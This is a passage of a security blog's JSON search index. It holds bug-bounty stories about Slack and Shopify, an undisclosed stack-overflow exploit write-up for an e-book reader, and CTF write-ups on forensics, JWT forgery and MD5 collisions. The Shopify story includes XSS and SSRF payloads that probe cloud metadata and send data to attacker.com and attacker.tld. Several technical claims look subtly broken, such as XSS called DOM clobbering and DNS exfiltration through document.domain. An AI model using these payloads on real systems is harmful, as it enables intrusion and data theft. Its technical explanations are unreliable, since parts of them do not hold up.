Engine","type":"reverseengineering"},{"content":"","date":"2024-09-18","externalUrl":null,"permalink":"/tags/edugrade/","section":"Tags","summary":"","title":"EduGrade","type":"tags"},{"content":"","date":"2024-09-18","externalUrl":null,"permalink":"/categories/memory-exploits/","section":"Categories","summary":"","title":"Memory Exploits","type":"categories"},{"content":"","date":"2024-09-18","externalUrl":null,"permalink":"/tags/strcpy/","section":"Tags","summary":"","title":"Strcpy","type":"tags"},{"content":"","date":"2024-09-18","externalUrl":null,"permalink":"/tags/windows-x64/","section":"Tags","summary":"","title":"Windows X64","type":"tags"},{"content":"","date":"2024-09-14","externalUrl":null,"permalink":"/categories/bug-bounty-tales/","section":"Categories","summary":"","title":"Bug Bounty Tales","type":"categories"},{"content":"","date":"2024-09-14","externalUrl":null,"permalink":"/bugbounty/","section":"BugBounties","summary":"","title":"BugBounties","type":"bugbounty"},{"content":"","date":"2024-09-14","externalUrl":null,"permalink":"/categories/digital-forensics/","section":"Categories","summary":"","title":"Digital Forensics","type":"categories"},{"content":"","date":"2024-09-14","externalUrl":null,"permalink":"/tags/open-redirect/","section":"Tags","summary":"","title":"Open Redirect","type":"tags"},{"content":"","date":"2024-09-14","externalUrl":null,"permalink":"/tags/phishing/","section":"Tags","summary":"","title":"Phishing","type":"tags"},{"content":"","date":"2024-09-14","externalUrl":null,"permalink":"/tags/slack/","section":"Tags","summary":"","title":"Slack","type":"tags"},{"content":"","date":"2024-09-14","externalUrl":null,"permalink":"/tags/subdomain/","section":"Tags","summary":"","title":"Subdomain","type":"tags"},{"content":" Prologue — The Digital Graveyard # Midnight. The glow of my monitor painted the walls a faint blue as I scrolled through Slack’s sprawling domain records.\nMost hackers love the thrill of breaking into fortified systems — I’ve always been drawn to the forgotten ones. The ones left behind.\nThat’s when I saw it: legacy-auth.slack.com.\nA subdomain that shouldn’t exist. Or at least, shouldn’t respond.\nI leaned forward, fingers hovering over the keyboard.\n\u0026ldquo;Let’s see if this ghost still breathes.\u0026rdquo;\nChapter 1 — The First Whisper # A quick dig command confirmed it — the domain resolved. No errors. No warnings. Just a silent, open door.\nFirst test:\ncurl -I https://legacy-auth.slack.com The server responded with a 200 OK. No content. No fanfare. Just… presence.\n\u0026ldquo;Why would Slack leave an auth-related subdomain dangling like this?\u0026rdquo;\nMy mind raced:\nPossibility 1: A deprecated system still lingering in the shadows. Possibility 2: A misconfiguration waiting to be weaponized. Possibility 3: A trap. I needed to know more.\nChapter 2 — The Bucket in the Dark # The Server: AmazonS3 header caught my eye.\n\u0026ldquo;An S3 bucket? For an auth endpoint?\u0026rdquo;\nThat’s when it clicked — this wasn’t a live service. This was a corpse. A leftover artifact from an old authentication flow, now abandoned but still technically alive.\nNext move: Check if the bucket was claimable.\nAttempted to fetch /.env → 404 Tried %2e%2e (directory traversal) → 403 Tested /?debug=1 → Nothing No luck. But then—\n\u0026ldquo;What if this thing still processes redirects?\u0026rdquo;\nChapter 3 — The Silent Redirect # I recalled Slack’s OAuth flow. Old documentation mentioned redirect_to parameters.\nCrafted test URL:\nhttps://legacy-auth.slack.com?redirect_to=https://evil.com Sent it.\nThe response:\n302 Found Location: https://evil.com My breath caught.\n\u0026ldquo;Oh. Oh no.\u0026rdquo;\nThis wasn’t just a dead subdomain — it was a live phishing weapon.\nThe Impact # No warnings. Users would see slack.com before being silently redirected. Perfect for phishing. A malicious link could look like:\n\u0026#34;Hey, check this Slack message: https://legacy-auth.slack.com?redirect_to=fake-login.slack.xyz\u0026#34; No takeover needed. The vulnerability was live right now. Chapter 4 — The Report # I documented everything:\nSteps to reproduce Proof of concept Potential attack scenarios Sent it via HackerOne.\nSlack’s response?\nAcknowledged in \u0026lt; 24 hours Fixed within days (They nuked the subdomain) Bounty awarded Epilogue — Why It Mattered # This wasn’t a flashy RCE or a SQLi. It was a quiet bug — the kind most people overlook.\nBut in the right (wrong) hands, it could’ve tricked thousands.\nA ghost in the machine. A whisper in the DNS records. A backdoor, not through code — but through neglect.\n","date":"2024-09-14","externalUrl":null,"permalink":"/bugbounty/slack/","section":"BugBounties","summary":"\u003ch2 class=\"relative group\"\u003ePrologue — The Digital Graveyard \n    \u003cdiv id=\"prologue--the-digital-graveyard\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue--the-digital-graveyard\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eMidnight. The glow of my monitor painted the walls a faint blue as I scrolled through Slack’s sprawling domain records.\u003c/strong\u003e\u003c/p\u003e","title":"The Phantom Subdomain: How I Found Slack’s Forgotten Backdoor","type":"bugbounty"},{"content":"","date":"2024-06-22","externalUrl":null,"permalink":"/tags/bookpro-reader/","section":"Tags","summary":"","title":"BookPro Reader","type":"tags"},{"content":"","date":"2024-06-22","externalUrl":null,"permalink":"/tags/metadata-parsing/","section":"Tags","summary":"","title":"Metadata Parsing","type":"tags"},{"content":" 3. Unsafe Length Handling in BookPro Reader (x64) # Platform: Windows 10 x64\nTarget: BookPro Reader (EPUB/ZIP Parser)\nDiscovered: May 2024\nStatus: Unreported – no known disclosure policy\nCVSS (Est.): 8.1 (High) – Stack corruption via overlong metadata entry\n✦ My Thought Process # I was exploring BookPro Reader to analyze how it handled EPUBs internally (since EPUBs are just ZIP files with XML/HTML inside). I figured the metadata parser would be a good starting point — especially since it\u0026rsquo;s invoked early during file load.\nOnce I unpacked the binary and traced how it handled metadata.xml, I noticed something weird in load_metadata. The use of rep movsb wasn’t guarded by any sort of length check. Felt like the classic \u0026ldquo;assume ZIP metadata is small\u0026rdquo; mistake.\n✦ Disassembly Breakdown # .text:0000000140012000 load_metadata: mov rdx, [rsp+arg_8] ; source: zip metadata string mov rax, [rsp+arg_0] ; destination: stack or heap buffer rep movsb ; copies string, blindly There’s no validation of the input size, and I confirmed the destination was on the stack in some cases. So if you overfill the metadata entry in the zip file, you eventually blast through return addresses on the stack.\nAnd yeah — that’s exactly what I did.\n✦ Exploitation Strategy # It’s a classic case of buffer overrun through ZIP metadata parsing. Here’s how I pulled it off:\nCreated a malicious EPUB file (just a renamed ZIP). Injected a long metadata string in content.opf (or metadata.xml). Crafted the metadata so the string would overflow the target buffer. Lined up shellcode after padding — made sure it aligned with stack execution path. The end result? Controlled return address → jump to shellcode.\n✦ Payload Details # I didn’t go crazy with the payload. Just used basic command execution to confirm exploitability.\nmov rcx, offset \u0026#34;cmd.exe\u0026#34; call WinExec ret This was injected right after the padding. The overwritten return address pointed to the payload directly on the stack.\nHere\u0026rsquo;s how I encoded it in the metadata:\n\u0026lt;dc:title\u0026gt;AAAAAAAA...[padding]...[shellcode bytes]...\u0026lt;/dc:title\u0026gt; ZIP structure was valid — the parser just kept reading blindly.\n✦ Debugging + Tuning # Used WinDbg and sxe av to catch the crash. Confirmed the exact offset needed to overwrite the return address via trial runs.\nBreakpoints in load_metadata helped me step through the parsing process.\nAlso played with ZIP alignment and compression — made sure the shellcode wasn\u0026rsquo;t mangled by decompression.\nBonus: the WinExec call worked even when DEP was enabled, since the stack was marked RWX (classic legacy config).\n✦ What Went Wrong (For Them) # No length checks on incoming strings Blind rep movsb copy Buffer on the stack — ripe for ROP/ret overwrite ZIP metadata treated as \u0026ldquo;trusted\u0026rdquo; ✦ Personal Reflection # It’s 2024 and we still have apps parsing metadata like it’s the ‘90s. No bounds checks, no sanity checks, just \u0026ldquo;parse and hope.\u0026rdquo; Book readers are low-hanging fruit — nobody’s fuzzing them aggressively, and they deal with weird formats daily.\nAll I had to do was dig into the ZIP, extend a field, and watch the stack implode.\nNo disclosure this time — not my circus.\n","date":"2024-06-22","externalUrl":null,"permalink":"/reverseengineering/bookpro/","section":"ReverseEngineerings","summary":"\u003ch2 class=\"relative group\"\u003e3. Unsafe Length Handling in BookPro Reader (x64) \n    \u003cdiv id=\"3-unsafe-length-handling-in-bookpro-reader-x64\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#3-unsafe-length-handling-in-bookpro-reader-x64\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003ePlatform:\u003c/strong\u003e Windows 10 x64\u003cbr\u003e\n\u003cstrong\u003eTarget:\u003c/strong\u003e BookPro Reader (EPUB/ZIP Parser)\u003cbr\u003e\n\u003cstrong\u003eDiscovered:\u003c/strong\u003e May 2024\u003cbr\u003e\n\u003cstrong\u003eStatus:\u003c/strong\u003e Unreported – no known disclosure policy\u003cbr\u003e\n\u003cstrong\u003eCVSS (Est.):\u003c/strong\u003e 8.1 (High) – Stack corruption via overlong metadata entry\u003c/p\u003e","title":"Strings Unleashed: Unsafe Length Handling in BookPro Reader","type":"reverseengineering"},{"content":"","date":"2024-06-22","externalUrl":null,"permalink":"/tags/zip-exploitation/","section":"Tags","summary":"","title":"Zip Exploitation","type":"tags"},{"content":" Prologue — The Accidental Discovery # 2:03 AM — My third espresso was long cold. The glow of the Shopify admin panel lit up my desk like a scene out of a low-budget cyber thriller.\nI was automating basic expense reports when I noticed the PDF inspector rendering raw HTML attributes.\n\u0026lt;!-- Test input in order notes --\u0026gt; \u0026lt;div\u0026gt;{{ \u0026#39;class=\u0026#34;test\u0026#34; data-test=\u0026#34;123\u0026#34;\u0026#39; }}\u0026lt;/div\u0026gt; \u0026lt;!-- Rendered output --\u0026gt; \u0026lt;div class=\u0026#34;test\u0026#34; data-test=\u0026#34;123\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; This wasn’t just data binding. It was unpacking HTML natively — a behavior I wasn\u0026rsquo;t expecting.\nThe template engine didn’t sanitize HTML attributes. I’d seen this behavior in frontend frameworks before, but never inside a PDF rendering backend.\nPart 1 — Where DOM Clobbering Meets PDF Dark Arts # 2:17 AM — DevTools had become my oracle.\nThe rendering pipeline looked like this:\nUser input → Template processing Server-side render Headless Chrome → PDF The input wasn’t sanitized. Templates processed raw strings and rendered them into full HTML documents, which headless Chrome converted into PDFs.\nMy payload:\n\u0026lt;img src=\u0026#34;{{ \u0026#39;x onerror=alert(document.domain)\u0026#39; }}\u0026#34;\u0026gt; Output:\n\u0026lt;img src=\u0026#34;x\u0026#34; onerror=\u0026#34;alert(document.domain)\u0026#34;\u0026gt; This was DOM clobbering at work — a technique long thought obsolete, but still potent in unguarded render chains.\nEven inside PDFs, the headless browser executed the script. That meant I had code execution in a headless browser inside Shopify’s infrastructure.\nPart 2 — The Blind SSRF Séance # 2:49 AM — Theory meets reality.\nIf the headless browser runs inside Shopify’s production environment, and if it can access internal domains, then I could leverage that to trigger SSRF.\nExample target:\nhttp://internal-api.shopify.local/health Proof of concept:\n\u0026lt;iframe srcdoc=\u0026#39; \u0026lt;script\u0026gt; fetch(\u0026#34;http://internal-api.shopify.local/health\u0026#34;) .then(() =\u0026gt; document.title = \u0026#34;INTERNAL ACCESS SUCCESSFUL\u0026#34;) \u0026lt;/script\u0026gt; \u0026#39;\u0026gt;\u0026lt;/iframe\u0026gt; The script fetched the internal API. When successful, it changed the document title.\nIn the rendered PDF, I could observe:\nINTERNAL ACCESS SUCCESSFUL This confirmed internal request success via PDF rendering engine. Blind SSRF worked.\nPart 3 — Building a DNS Exfiltration Oracle # 3:33 AM — Time to exfiltrate blind responses.\nSince I couldn’t read fetch responses, I decided to measure timing — a side channel.\nconst start = Date.now(); fetch(\u0026#39;http://169.254.169.254/latest/meta-data\u0026#39;, { mode: \u0026#39;no-cors\u0026#39;, credentials: \u0026#39;include\u0026#39; }).finally(() =\u0026gt; { const latency = Date.now() - start; document.domain = `l${latency}.attacker.tld`; }); DNS logs from tcpdump:\n04:17:22 IP resolver.attacker.com \u0026gt; ns1.google.com: A? l142.attacker.tld 04:17:23 IP resolver.attacker.com \u0026gt; ns1.google.com: A? l328.attacker.tld 04:17:24 IP resolver.attacker.com \u0026gt; ns1.google.com: A? l310.attacker.tld 04:17:25 IP resolver.attacker.com \u0026gt; ns1.google.com: A? l289.attacker.tld I was now receiving signal from within Shopify’s infrastructure — over DNS.\nPart 4 — Advanced Exploit Development # 4:12 AM — The toolkit evolves.\nVersion 1: Internal Network Scanner\n\u0026lt;object data=\u0026#34;{{ \u0026#39;http://a onerror= fetch(`http://192.168.1.${i}/health`) .then(()=\u0026gt;document.location=`https://attacker.com/?leak=192.168.1.${i}`) \u0026#39;}}\u0026#34;\u0026gt;\u0026lt;/object\u0026gt; Each successful response redirected the browser to a tracking URL with the leaked IP.\nVersion 2: CSS-Based Timing Exfiltration\nconst start = performance.now(); fetch(\u0026#39;http://internal-db.shopify.local/users/admin\u0026#39;) .then(r =\u0026gt; r.text()) .finally(() =\u0026gt; { const latency = performance.now() - start; document.body.style.fontFamily = `\u0026#39;${btoa(latency.toString())}\u0026#39;`; }); Now, timing values were encoded in PDF font styles — subtle, persistent, parseable.\nPart 5 — Countermeasures and Reflections # 5:47 AM — Shopify patched within 72 hours.\nKey Takeaways # PDF generators are not passive renderers. They are browser-powered execution environments. DOM clobbering can affect server-rendered HTML, especially inside templating engines. Blind SSRF can be leveraged via timing, DNS, and CSS if creative exfiltration is allowed. Shopify’s response was swift. CSP headers were introduced. HTML sanitization was enforced. The PDF renderer was sandboxed.\nTimeline # 2:03 AM — Found HTML unpacking in PDF 2:17 AM — Triggered DOM clobbering 2:49 AM — Discovered blind SSRF 3:33 AM — DNS-based exfiltration 4:12 AM — Built internal scanners and CSS encoders 5:47 AM — Submitted report, vulnerability patched Disclosure # Reported via: Shopify HackerOne Response time: \u0026lt; 72 hours Acknowledgment: Yes Bounty: [Redacted] Final Thoughts # Seemingly harmless tools like PDF generators can expose dangerous surfaces.\nWhen raw HTML is injected into headless browsers without sanitation, the boundary between client and server logic collapses.\nThis case was a reminder that:\nDOM clobbering, while niche, is still alive Blind SSRF becomes dangerous with creative exfiltration PDF rendering stacks can act like full browser contexts Sometimes, your best research doesn\u0026rsquo;t begin in the morning —\nIt begins at 3 AM, with a cold espresso and a dangerous curiosity.\n","date":"2024-05-23","externalUrl":null,"permalink":"/bugbounty/shopify/","section":"BugBounties","summary":"\u003ch2 class=\"relative group\"\u003ePrologue — The Accidental Discovery \n    \u003cdiv id=\"prologue--the-accidental-discovery\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue--the-accidental-discovery\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e2:03 AM — My third espresso was long cold. The glow of the Shopify admin panel lit up my desk like a scene out of a low-budget cyber thriller.\u003c/strong\u003e\u003c/p\u003e","title":"3 AM \u0026 Phantom Requests: My Blind SSRF Journey Through Shopify's PDF Underworld","type":"bugbounty"},{"content":"","date":"2024-05-23","externalUrl":null,"permalink":"/tags/dom-clobbering/","section":"Tags","summary":"","title":"DOM Clobbering","type":"tags"},{"content":"","date":"2024-05-23","externalUrl":null,"permalink":"/categories/midnight-security-musings/","section":"Categories","summary":"","title":"Midnight Security Musings","type":"categories"},{"content":"","date":"2024-05-23","externalUrl":null,"permalink":"/tags/pdf-sorcery/","section":"Tags","summary":"","title":"PDF Sorcery","type":"tags"},{"content":"","date":"2024-05-23","externalUrl":null,"permalink":"/tags/ssrf/","section":"Tags","summary":"","title":"SSRF","type":"tags"},{"content":"","date":"2024-05-03","externalUrl":null,"permalink":"/tags/challenge-writeup/","section":"Tags","summary":"","title":"Challenge Writeup","type":"tags"},{"content":"","date":"2024-05-03","externalUrl":null,"permalink":"/tags/ctf-2024/","section":"Tags","summary":"","title":"CTF 2024","type":"tags"},{"content":"","date":"2024-05-03","externalUrl":null,"permalink":"/tags/data-extraction/","section":"Tags","summary":"","title":"Data Extraction","type":"tags"},{"content":"","date":"2024-05-03","externalUrl":null,"permalink":"/tags/digital-forensics/","section":"Tags","summary":"","title":"Digital Forensics","type":"tags"},{"content":"","date":"2024-05-03","externalUrl":null,"permalink":"/tags/file-recovery/","section":"Tags","summary":"","title":"File Recovery","type":"tags"},{"content":"","date":"2024-05-03","externalUrl":null,"permalink":"/tags/forensics/","section":"Tags","summary":"","title":"Forensics","type":"tags"},{"content":"","date":"2024-05-03","externalUrl":null,"permalink":"/tags/pointeroverflow/","section":"Tags","summary":"","title":"PointerOverflow","type":"tags"},{"content":" 0x00 – Prologue # Forensics challenges usually start out tame—bit of file carving, maybe some strings, or sleuthing around disk images. But sometimes, one of those USB dumps hits differently.\nThis was one of those.\n\u0026ldquo;DF 100 – A Record of Events\u0026rdquo; came wrapped in a raw binary blob, straight from a USB device. My job? Extract the story—and the flag—buried somewhere inside.\n0x01 – Initial Recon # The file extension screamed raw. So first instinct: plug it into some digital forensic tools and start digging.\n$ file usb_dump.raw usb_dump.raw: data $ binwalk usb_dump.raw DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- ... (mostly entropy) ... Nothing obvious from binwalk. So I loaded it into FTK Imager and mounted it to inspect file system artifacts.\nIf this was truly a USB image, I expected FAT32 or exFAT.\nAnd sure enough:\nVolume Name : USB_VOLUME File System : FAT32 That\u0026rsquo;s when things got more interesting.\n0x02 – Files That Shouldn\u0026rsquo;t Exist # Inside the volume, I spotted some deleted files. Most of them looked like junk: temp files, thumbnail caches.\nBut one stood out:\n/Documents/_log.txt (deleted) I exported and ran strings:\n$ strings _log.txt | less And there it was—a strange conversation log mixed with debug lines. Some parts were base64-encoded, some redacted, but something like this stood out:\nU1RSSU5HOkZMQUdfcG9jdGZ7dXdzcF81N3I0bjYzcl8xbjRfNTdyNG4zXzE0bmR9 Which decoded to:\n$ echo \u0026#34;U1RSSU5HOkZMQUdfcG9jdGZ7dXdzcF81N3I0bjYzcl8xbjRfNTdyNG4zXzE0bmR9\u0026#34; | base64 -d STRING:FLAG_poctf{uwsp_57r4n63r_1n_4_57r4n63_14nd} 0x03 – Artifact Recovery # Just to be sure this wasn’t a red herring, I carved through the slack space of the disk.\nUsing foremost:\n$ foremost -i usb_dump.raw -o output/ It recovered some PNGs, PDFs, and a partial .docx that confirmed the USB was used for documenting internal investigations.\nThe presence of _log.txt in the deletion records and encoded data in the disk confirmed that the flag wasn’t a fluke.\n0x04 – Final Flag # poctf{uwsp_57r4n63r_1n_4_57r4n63_14nd} Clean. Hidden. But not hidden enough.\n0x05 – Thoughts # This challenge was less about exploit dev and more about being methodical. It was digital archeology. USBs tell stories—they carry logs, metadata, and flags for those who know where to chisel.\nWhen the frontend gives you nothing, plug it in, mount it, and start looking where people forget to clean.\n0x06 – Tools Used # FTK Imager (for mounting and analyzing the USB) binwalk / strings / xxd base64 (obviously) foremost (slack space recovery) hexedit (to eyeball deleted data) ","date":"2024-05-03","externalUrl":null,"permalink":"/capturetheflag/pointeroverflow/","section":"CaptureTheFlags","summary":"\u003ch2 class=\"relative group\"\u003e0x00 – Prologue \n    \u003cdiv id=\"0x00--prologue\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#0x00--prologue\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003eForensics challenges usually start out tame—bit of file carving, maybe some strings, or sleuthing around disk images. But sometimes, one of those USB dumps hits differently.\u003c/p\u003e","title":"PointerOverflow CTF 2024 – DF","type":"capturetheflag"},{"content":"","date":"2024-04-23","externalUrl":null,"permalink":"/tags/iron-ctf/","section":"Tags","summary":"","title":"Iron CTF","type":"tags"},{"content":"","date":"2024-04-23","externalUrl":null,"permalink":"/tags/jwt/","section":"Tags","summary":"","title":"JWT","type":"tags"},{"content":" 0x00 – Prologue # I like JWT bugs. They\u0026rsquo;re like puzzles where you know someone somewhere made a careless design call, and you just have to figure out where the glue fell apart. In this one, the challenge was called \u0026ldquo;JWT Hunt\u0026rdquo; and it lived up to the name. Turns out the devs had split the signing key into four parts and sprinkled them around the site like cryptographic breadcrumbs.\nA few hours later, I was forging admin tokens like I owned the backend. Let\u0026rsquo;s get into it.\n0x01 – Reconnaissance # First up, I hit the site and did what any sane person would: popped open DevTools and opened robots.txt.\nBoom:\n/User-agent: * /secret-key-1.txt /hidden-directory/ /sitemap.xml Visiting /secret-key-1.txt directly:\nIRONCTF{part1_xxxxxxxx} Inside /sitemap.xml:\n\u0026lt;url\u0026gt; \u0026lt;loc\u0026gt;https://ironctf.io/hidden-directory/secret-key-2.txt\u0026lt;/loc\u0026gt; \u0026lt;/url\u0026gt; Sure enough:\nIRONCTF{part2_yyyyyyyy} Then within that hidden-directory, another file was just sitting around:\nIRONCTF{part3_zzzzzzzz} Okay. So far so good. 3 parts of the key just laying around. But something was still missing. There had to be a fourth piece.\n0x02 – The Fourth Piece # Now here\u0026rsquo;s where things got annoying. Trying to access /final-key-piece.txt gave:\n400 Bad Request Regular GET requests failed. But when I used a HEAD request:\ncurl -I https://ironctf.io/final-key-piece.txt I got back a 200 OK. Which was strange. So I used Burp Suite to replay with a HEAD, and sure enough, the headers showed:\nX-Key-Part: IRONCTF{part4_aaaaaaaa} It wasn’t even in the body. It was a custom header.\nSneaky. But now I had all four segments:\npart1_xxxxxxxx part2_yyyyyyyy part3_zzzzzzzz part4_aaaaaaaa I stitched them together manually:\nsecret = \u0026#34;xxxxxxxxyyyyyyyyzzzzzzzzaaaaaaaa\u0026#34; 0x03 – Cracking the JWT # Now I grabbed my session token:\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.... And decoded it:\n{ \u0026#34;user\u0026#34;: \u0026#34;guest\u0026#34;, \u0026#34;admin\u0026#34;: false } Standard HMAC-SHA256 signed JWT. I plugged the reconstructed key into jwt.io and tried verifying the signature. It worked. Signature verified.\nNow it was time to forge:\n{ \u0026#34;user\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;admin\u0026#34;: true } Resigned with the key:\njwt encode --secret xxxxxxxx... --alg HS256 \u0026#39;{\u0026#34;user\u0026#34;:\u0026#34;admin\u0026#34;,\u0026#34;admin\u0026#34;:true}\u0026#39; Copied that into my Authorization header.\nRefreshed the page\u0026hellip;\n0x04 – Flag # Immediately redirected to /admin:\nWelcome back, admin. Flag: ironCTF{W0w_U_R34lly_Kn0w_4_L07_Ab0ut_JWT_3xp10r4710n!} 0x05 – Tools Used # curl / Burp Suite / HTTPie jwt.io and jsonwebtoken in Node.js Bash one-liners and grep Chrome DevTools 0x06 – Takeaways # robots.txt and sitemap.xml can be goldmines HTTP headers like X-* can leak secrets Don’t split secret keys and expect them to stay secret Always try HEAD if GET fails If you can verify a JWT, you can likely forge it 0x07 – Final Thoughts # This was fun because it chained together a bunch of small things: endpoint enumeration, HTTP method abuse, and token forgery. And every piece was just\u0026hellip; lying around.\nSometimes, the real vuln is just devs thinking obscurity equals security.\n","date":"2024-04-23","externalUrl":null,"permalink":"/capturetheflag/ironctf/","section":"CaptureTheFlags","summary":"\u003ch2 class=\"relative group\"\u003e0x00 – Prologue \n    \u003cdiv id=\"0x00--prologue\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#0x00--prologue\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003eI like JWT bugs. They\u0026rsquo;re like puzzles where you know someone somewhere made a careless design call, and you just have to figure out where the glue fell apart. In this one, the challenge was called \u0026ldquo;JWT Hunt\u0026rdquo; and it lived up to the name. Turns out the devs had split the signing key into four parts and sprinkled them around the site like cryptographic breadcrumbs.\u003c/p\u003e","title":"JWT Hunt – Iron CTF 2024","type":"capturetheflag"},{"content":"","date":"2024-04-23","externalUrl":null,"permalink":"/tags/token-manipulation/","section":"Tags","summary":"","title":"Token Manipulation","type":"tags"},{"content":"","date":"2024-04-23","externalUrl":null,"permalink":"/tags/web-security/","section":"Tags","summary":"","title":"Web Security","type":"tags"},{"content":" 0x00 – Prologue # I knew from the moment I saw \u0026ldquo;MD5\u0026rdquo; in the challenge description, things were about to get weird. Anyone who\u0026rsquo;s spent enough time around outdated crypto knows MD5 is a landmine. It’s fast, broken, and predictable in just the right (or wrong) ways. This challenge leaned all the way into that mess.\nBinary Badlands didn’t hand you a key—it just gave you a broken door and dared you to walk through it.\n0x01 – Challenge Overview # There’s a service that registers users using the MD5 hash of the username as an identifier.\nThat sounds like a terrible idea. That is a terrible idea. And that’s where the challenge lives.\nYou send a username. The backend computes md5(username). That hash gets stored as your unique identifier. But MD5 is collision-prone, especially when you’re allowed to choose arbitrary strings. The idea?\nGenerate two usernames with the same MD5 hash. Register one. Log in with the other.\nWhy does that work? Because when the server checks md5(username) and uses that to verify you, it has no clue whether you used the original or the collision. Game on.\n0x02 – Getting a Collision # To pull this off, I needed a pair of strings such that:\nmd5(user1) == md5(user2) and user1 != user2 Step 1: Pick a Collision Generator # I used HashClash, the classic collision toolkit.\nInstall instructions are painful on modern systems, so I switched to an existing Docker image for it. Fast and works out of the box.\nHere’s the process I followed:\n# Clone HashClash $ git clone https://github.com/cr-marcstevens/hashclash $ cd hashclash $ make -C src # Run fastcoll $ ./src/fastcoll -o msg1.bin msg2.bin Now msg1.bin and msg2.bin contain two binary strings with identical MD5 hashes.\nStep 2: Alphanumeric-ify # Raw binary isn\u0026rsquo;t accepted as a username. The service only took alphanumerics.\nI had two options:\nTry to force fastcoll to generate only safe bytes (hard) Base64 encode the collision blocks and decode on server (if possible) Or, use known alphanumeric MD5 collisions from research papers. I opted for the third approach and used the classic \u0026ldquo;alphanumeric MD5 collisions\u0026rdquo; technique published here: https://marc-stevens.nl/research/md5-1.html\nUsing that, I had two distinct strings with identical MD5s.\nuser1 = \u0026#34;pocAAAA...\u0026#34; user2 = \u0026#34;pocBBBB...\u0026#34; assert md5(user1) == md5(user2) 0x03 – Registration and Exploitation # Now with user1 and user2 in hand:\nRegister user1 with a known password (say pass123) Try logging in using user2 and the same password The backend, trusting only the MD5(username), thinks you\u0026rsquo;re the same person.\nExample Interaction: # POST /register { \u0026#34;username\u0026#34;: \u0026#34;pocAAAA...\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;hunter2\u0026#34; } POST /login { \u0026#34;username\u0026#34;: \u0026#34;pocBBBB...\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;hunter2\u0026#34; } And boom—access granted.\n0x04 – The Flag # Once logged in, I got access to the admin panel—previously tied to the original user.\nInside: a single HTML page with the flag.\nHTB{finding_alphanumeric_md5_collisions_for_fun_...} Classic crypto mistake. Classic win.\n0x05 – My Take # This wasn’t about hardcore math or obscure crypto. It was about reminding devs (and us) that trusting hash functions for identity is bad news.\nMy thought process throughout:\nMD5? Bad. Hashing usernames? Worse. Collision? Practically guaranteed. Alphanumeric? Slight detour. Flag? Mine. 0x06 – Tools Used # HashClash (for MD5 collision generation) Python (hash verification) Burp Suite (to automate form abuse) Hashcat (optional for reverse testing) 0x07 – Final Words # A lesson in why even seemingly harmless cryptographic shortcuts can destroy systems. MD5 isn\u0026rsquo;t just old—it\u0026rsquo;s broken. Don\u0026rsquo;t hash identifiers. And definitely don’t trust client-provided strings without validation.\nBut if they do?\nYou’ll find me in the Badlands.\n","date":"2024-04-21","externalUrl":null,"permalink":"/capturetheflag/binarybandlands/","section":"CaptureTheFlags","summary":"\u003ch2 class=\"relative group\"\u003e0x00 – Prologue \n    \u003cdiv id=\"0x00--prologue\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#0x00--prologue\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003eI knew from the moment I saw \u0026ldquo;MD5\u0026rdquo; in the challenge description, things were about to get weird. Anyone who\u0026rsquo;s spent enough time around outdated crypto knows MD5 is a landmine. It’s fast, broken, and predictable in just the right (or wrong) ways. This challenge leaned all the way into that mess.\u003c/p\u003e","title":"Binary Badlands – HTB University CTF 2024","type":"capturetheflag"},{"content":"","date":"2024-04-21","externalUrl":null,"permalink":"/tags/binary-exploitation/","section":"Tags","summary":"","title":"Binary Exploitation","type":"tags"},{"content":"","date":"2024-04-21","externalUrl":null,"permalink":"/tags/htb/","section":"Tags","summary":"","title":"HTB","type":"tags"},{"content":"","date":"2024-04-21","externalUrl":null,"permalink":"/tags/htb-university/","section":"Tags","summary":"","title":"HTB 